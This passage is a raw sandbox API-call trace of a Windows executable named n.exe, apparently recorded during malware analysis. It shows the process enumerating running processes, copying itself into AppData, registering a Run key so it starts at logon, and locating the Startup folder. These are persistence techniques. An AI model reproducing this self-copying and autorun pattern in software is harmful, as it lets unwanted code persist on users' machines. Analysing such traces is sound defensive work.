cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.722] lstrlenW (lpString="svchost.exe") returned 11 [0146.722] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.722] lstrlenW (lpString="svchost.exe") returned 11 [0146.723] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.723] lstrlenW (lpString="svchost.exe") returned 11 [0146.723] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.723] lstrlenW (lpString="svchost.exe") returned 11 [0146.723] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.724] lstrlenW (lpString="svchost.exe") returned 11 [0146.724] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0146.724] lstrlenW (lpString="audiodg.exe") returned 11 [0146.724] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.724] lstrlenW (lpString="svchost.exe") returned 11 [0146.724] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0146.725] lstrlenW (lpString="userinit.exe") returned 12 [0146.725] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0146.725] lstrlenW (lpString="explorer.exe") returned 12 [0146.725] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0146.725] lstrlenW (lpString="dwm.exe") returned 7 [0146.725] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.726] lstrlenW (lpString="svchost.exe") returned 11 [0146.726] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0146.726] lstrlenW (lpString="n.exe") returned 5 [0146.726] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0146.726] lstrlenW (lpString="n.exe") returned 5 [0146.726] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0146.727] lstrlenW (lpString="n.exe") returned 5 [0146.727] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0146.727] lstrlenW (lpString="spoolsv.exe") returned 11 [0146.727] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.727] lstrlenW (lpString="svchost.exe") returned 11 [0146.727] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0146.728] lstrlenW (lpString="taskhost.exe") returned 12 [0146.728] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0146.728] lstrlenW (lpString="reader_sl.exe") returned 13 [0146.728] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0146.728] lstrlenW (lpString="rundll32.exe") returned 12 [0146.728] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0146.729] lstrlenW (lpString="dllhost.exe") returned 11 [0146.729] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0146.729] lstrlenW (lpString="dinotify.exe") returned 12 [0146.729] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0146.729] lstrlenW (lpString="n.exe") returned 5 [0146.729] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0146.730] lstrlenW (lpString="n.exe") returned 5 [0146.730] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0146.730] CloseHandle (hObject=0xe0) returned 1 [0146.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665400 | out: hHeap=0x630000) returned 1 [0146.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665448 | out: hHeap=0x630000) returned 1 [0146.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665490 | out: hHeap=0x630000) returned 1 [0146.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6654b0 | out: hHeap=0x630000) returned 1 [0146.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6654f8 | out: hHeap=0x630000) returned 1 [0146.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664bc0 | out: hHeap=0x630000) returned 1 [0146.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6448b0 | out: hHeap=0x630000) returned 1 [0146.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6448e8 | out: hHeap=0x630000) returned 1 [0146.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6444e0 | out: hHeap=0x630000) returned 1 [0146.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x644508 | out: hHeap=0x630000) returned 1 [0146.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x644930 | out: hHeap=0x630000) returned 1 [0146.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x644530 | out: hHeap=0x630000) returned 1 [0146.730] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x66b550 [0146.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x67b558 [0146.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x644530 [0146.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644530, Size=0x40) returned 0x666b40 [0146.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x644530 [0146.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x644508 [0146.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x6444e0 [0146.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6444e0, Size=0x40) returned 0x666b88 [0146.731] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x67b558, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x42 [0146.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x68b560 [0146.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x69b568 [0146.732] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.732] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x6444e0 [0146.732] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6444e0, Size=0x40) returned 0x666bd0 [0146.732] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666bd0, Size=0x80) returned 0x665400 [0146.732] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665400, Size=0x100) returned 0x667d48 [0146.732] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x667d48 | out: hHeap=0x630000) returned 1 [0146.732] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\n.exe", lpDst=0x68b560, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\n.exe") returned 0x1a [0146.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69b568 | out: hHeap=0x630000) returned 1 [0146.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x68b560 | out: hHeap=0x630000) returned 1 [0146.732] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x1e50020 [0146.732] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.732] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x6444e0 [0146.732] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.732] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x665ac8 [0146.732] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0146.732] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0146.732] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0146.732] lstrlenW (lpString="kernel32.dll") returned 12 [0146.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6444e0 | out: hHeap=0x630000) returned 1 [0146.733] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.733] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665ac8 | out: hHeap=0x630000) returned 1 [0146.733] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0146.733] CreateFileW (lpFileName="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.733] CloseHandle (hObject=0xe0) returned 1 [0146.733] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.733] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x665ac8 [0146.733] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.733] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x665a78 [0146.733] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0146.733] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0146.733] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0146.733] lstrlenW (lpString="kernel32.dll") returned 12 [0146.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a78 | out: hHeap=0x630000) returned 1 [0146.734] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665ac8 | out: hHeap=0x630000) returned 1 [0146.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x1e50020 | out: hHeap=0x630000) returned 1 [0146.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x68b560 [0146.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x69b568 [0146.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.734] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x665ac8 [0146.734] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665ac8, Size=0x40) returned 0x666bd0 [0146.734] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666bd0, Size=0x80) returned 0x6ab588 [0146.734] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab588, Size=0x100) returned 0x667d48 [0146.734] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x667d48 | out: hHeap=0x630000) returned 1 [0146.734] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\n.exe", lpDst=0x68b560, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\n.exe") returned 0x34 [0146.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69b568 | out: hHeap=0x630000) returned 1 [0146.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x68b560 | out: hHeap=0x630000) returned 1 [0146.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x1e50020 [0146.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.734] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x665ac8 [0146.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.734] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x665a78 [0146.734] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0146.734] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0146.734] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0146.734] lstrlenW (lpString="kernel32.dll") returned 12 [0146.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665ac8 | out: hHeap=0x630000) returned 1 [0146.735] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a78 | out: hHeap=0x630000) returned 1 [0146.735] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0146.735] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\n.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0146.736] ReadFile (in: hFile=0xe0, lpBuffer=0x1e50020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1e50020*, lpNumberOfBytesRead=0x18fd98*=0xa8600, lpOverlapped=0x0) returned 1 [0146.783] WriteFile (in: hFile=0xe4, lpBuffer=0x1e50020*, nNumberOfBytesToWrite=0xa8600, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1e50020*, lpNumberOfBytesWritten=0x18fd98*=0xa8600, lpOverlapped=0x0) returned 1 [0146.795] ReadFile (in: hFile=0xe0, lpBuffer=0x1e50020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1e50020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0146.795] CloseHandle (hObject=0xe4) returned 1 [0146.795] CloseHandle (hObject=0xe0) returned 1 [0146.795] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.795] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x665a78 [0146.795] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.795] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x665ac8 [0146.795] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0146.795] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0146.795] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0146.795] lstrlenW (lpString="kernel32.dll") returned 12 [0146.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665ac8 | out: hHeap=0x630000) returned 1 [0146.795] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a78 | out: hHeap=0x630000) returned 1 [0146.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x1e50020 | out: hHeap=0x630000) returned 1 [0146.800] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bc0 [0146.800] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bc0, Size=0x20) returned 0x665a78 [0146.800] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665a78, Size=0x40) returned 0x666bd0 [0146.800] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666bd0, Size=0x80) returned 0x6ab588 [0146.800] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\n.exe") returned 51 [0146.800] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0146.800] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c) returned 0x665400 [0146.800] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0x0) returned 0x5 [0146.800] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665400 | out: hHeap=0x630000) returned 1 [0146.800] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\n.exe") returned 51 [0146.800] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0146.800] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c) returned 0x665400 [0146.800] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe4) returned 0x0 [0146.800] RegSetValueExW (in: hKey=0xe4, lpValueName="n.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\n.exe", cbData=0x66 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\n.exe") returned 0x0 [0146.801] RegCloseKey (hKey=0xe4) returned 0x0 [0146.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665400 | out: hHeap=0x630000) returned 1 [0146.801] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0146.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ab588 | out: hHeap=0x630000) returned 1 [0146.801] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x68b560 [0146.801] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x69b568 [0146.801] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.801] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x665a78 [0146.801] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665a78, Size=0x40) returned 0x666bd0 [0146.801] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666bd0, Size=0x80) returned 0x6ab588 [0146.801] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab588, Size=0x100) returned 0x667d48 [0146.801] lstrlenW (lpString="") returned 0 [0146.801] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.801] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8c) returned 0x667e50 [0146.801] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0146.801] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x69b568, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x69b568*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0146.801] RegCloseKey (hKey=0xe4) returned 0x0 [0146.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x667e50 | out: hHeap=0x630000) returned 1 [0146.801] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.801] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8c) returned 0x667e50 [0146.801] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0146.801] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x69b568, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0146.801] RegCloseKey (hKey=0xe4) returned 0x0 [0146.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x667e50 | out: hHeap=0x630000) returned 1 [0146.802] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0146.802] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.802] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x667d48 | out: hHeap=0x630000) returned 1 [0146.802] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpDst=0x68b560, nSize=0x7fff | out: 